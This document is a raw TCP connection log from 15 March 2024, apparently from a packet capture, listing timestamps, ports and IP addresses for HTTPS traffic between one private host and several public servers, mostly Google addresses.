Mar 15, 2024 13:59:11.791732073 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.791739941 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.797432899 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.797542095 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.797549963 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.799608946 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.799676895 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.799772978 CET	49802	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:11.799787998 CET	443	49802	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:11.851335049 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:11.851413012 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:11.851536989 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:11.851851940 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:11.851887941 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.040939093 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.041337013 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.041382074 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.041857004 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.042165041 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.042246103 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.042296886 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.088243008 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.091598034 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.222748995 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.222879887 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.222953081 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.222984076 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.223067999 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.223136902 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.223146915 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.223166943 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.223227978 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.223638058 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.223718882 CET	443	49803	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:12.223809004 CET	49803	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:12.728667021 CET	49691	443	192.168.2.17	40.126.24.82
Mar 15, 2024 13:59:12.746202946 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.746243954 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.746345043 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.746857882 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.746870041 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.941871881 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.942209959 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.942240000 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.943923950 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.944305897 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.944359064 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.944365025 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.944425106 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:12.944494963 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:12.998616934 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.194025040 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.199270964 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.199362040 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.199465990 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.199501038 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.199548006 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.199558973 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.205714941 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.205795050 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.205799103 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.205825090 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.205869913 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.211839914 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.217930079 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.217962027 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.218014956 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.218046904 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.218205929 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.281277895 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.284312963 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.284358025 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.284394026 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.284409046 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.284456968 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.290427923 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.296498060 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.296557903 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.296572924 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.296680927 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.296727896 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.296839952 CET	49804	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.296857119 CET	443	49804	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.299606085 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.299633980 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.299714088 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.300007105 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.300023079 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.324044943 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.324085951 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.324151039 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.324732065 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.324749947 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.488769054 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.489059925 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.489082098 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.489422083 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.489768982 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.489845037 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.489928007 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.536231995 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.564620018 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.565372944 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.565399885 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.565875053 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.566277981 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.566405058 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.566423893 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.612250090 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.621012926 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.689466000 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.689599991 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.689763069 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.690413952 CET	49805	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.690438986 CET	443	49805	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.766422987 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.766549110 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.766586065 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.766720057 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.766753912 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.766803026 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.767839909 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.772499084 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.772552013 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.772583961 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.772608995 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.772646904 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.778728008 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.784790039 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.784862995 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.784878016 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.784899950 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.784945011 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.790915966 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.842915058 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.853816032 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.856851101 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.856894016 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.856930971 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.856949091 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.856996059 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.862940073 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.869118929 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.869149923 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.869199991 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.869210958 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.869265079 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.875228882 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.881278992 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.881345034 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.881373882 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.887434006 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.887485981 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.887608051 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.887633085 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.887680054 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.893058062 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.893246889 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.893309116 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.893400908 CET	49809	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:13.893424034 CET	443	49809	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:13.896195889 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.896269083 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:13.896374941 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.896586895 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:13.896636009 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.085228920 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.085700989 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.085726976 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.086069107 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.086360931 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.086421013 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.086499929 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.132237911 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.290406942 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.290455103 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.290476084 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.290508986 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.290539980 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.290587902 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.291002989 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.295933008 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.296001911 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.296003103 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.296021938 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.296065092 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.302170038 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.308320999 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.308525085 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.308540106 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.308552027 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.308635950 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.314470053 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.366549015 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.378961086 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.381958008 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.381993055 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.382133961 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.382153988 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.382199049 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.388093948 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.394181013 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.394208908 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.394231081 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.394237995 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.394282103 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.400301933 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.406393051 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.406452894 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.406501055 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.406507969 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.406578064 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.412673950 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.418646097 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.418704987 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.418713093 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.418793917 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:14.418842077 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.418956995 CET	49812	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:14.418966055 CET	443	49812	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:18.731488943 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:18.731589079 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:18.731652975 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:19.824311972 CET	49789	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:19.824335098 CET	443	49789	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:19.824587107 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:19.824620962 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:19.824692965 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:19.824996948 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:19.825001955 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.026942015 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.027235985 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.027254105 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.027632952 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.027930021 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.027992964 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.028064966 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.028099060 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.028137922 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.245609045 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.245747089 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.245815039 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.245850086 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.246467113 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.246531963 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.246624947 CET	49813	443	192.168.2.17	142.250.64.68
Mar 15, 2024 13:59:20.246640921 CET	443	49813	142.250.64.68	192.168.2.17
Mar 15, 2024 13:59:20.249623060 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.249665022 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.249809027 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.250103951 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.250118971 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.275979996 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.276021004 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.276092052 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.276360989 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.276479006 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.276571035 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.276665926 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.276674032 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.277049065 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.277089119 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.283163071 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.283179998 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.283253908 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.283483028 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.283493996 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.284292936 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.284329891 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.284393072 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.284626961 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.284641981 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.454891920 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.455286026 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.455315113 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.455905914 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.456268072 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.456350088 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.456422091 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.470191002 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.471319914 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.471343040 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.472445011 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.472531080 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.472887039 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.472960949 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.504229069 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.510545969 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.510895014 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.510902882 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.511287928 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.511312962 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.511580944 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.511641979 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.511734962 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.511812925 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.511835098 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.511863947 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.511904001 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.512168884 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.512428999 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.512501955 CET	443	49816	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.516596079 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.516602993 CET	443	49817	142.250.65.228	192.168.2.17
Mar 15, 2024 13:59:20.564615011 CET	49817	443	192.168.2.17	142.250.65.228
Mar 15, 2024 13:59:20.564635992 CET	49816	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.642816067 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.643203020 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.643241882 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.643579960 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.643877983 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.643949032 CET	443	49818	178.63.61.164	192.168.2.17
Mar 15, 2024 13:59:20.692585945 CET	49818	443	192.168.2.17	178.63.61.164
Mar 15, 2024 13:59:20.730736971 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.731323004 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.731383085 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.731518030 CET	49815	443	192.168.2.17	192.185.112.107
Mar 15, 2024 13:59:20.731532097 CET	443	49815	192.185.112.107	192.168.2.17
Mar 15, 2024 13:59:20.967520952 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.967999935 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:20.968065977 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.968534946 CET	49814	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:59:20.968545914 CET	443	49814	142.250.80.36	192.168.2.17
Mar 15, 2024 13:59:21.106477976 CET	49819	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.106513977 CET	443	49819	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.106574059 CET	49819	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.106885910 CET	49819	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.106904030 CET	443	49819	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.107259035 CET	49820	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.107311964 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.107373953 CET	49820	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.107567072 CET	49820	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.107587099 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.788513899 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.788809061 CET	49820	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.788840055 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.789230108 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.789303064 CET	49820	443	192.168.2.17	43.157.144.205
Mar 15, 2024 13:59:21.789943933 CET	443	49820	43.157.144.205	192.168.2.17
Mar 15, 2024 13:59:21.790002108 CET	49820	443	192.168.2.17	43.157.144.205
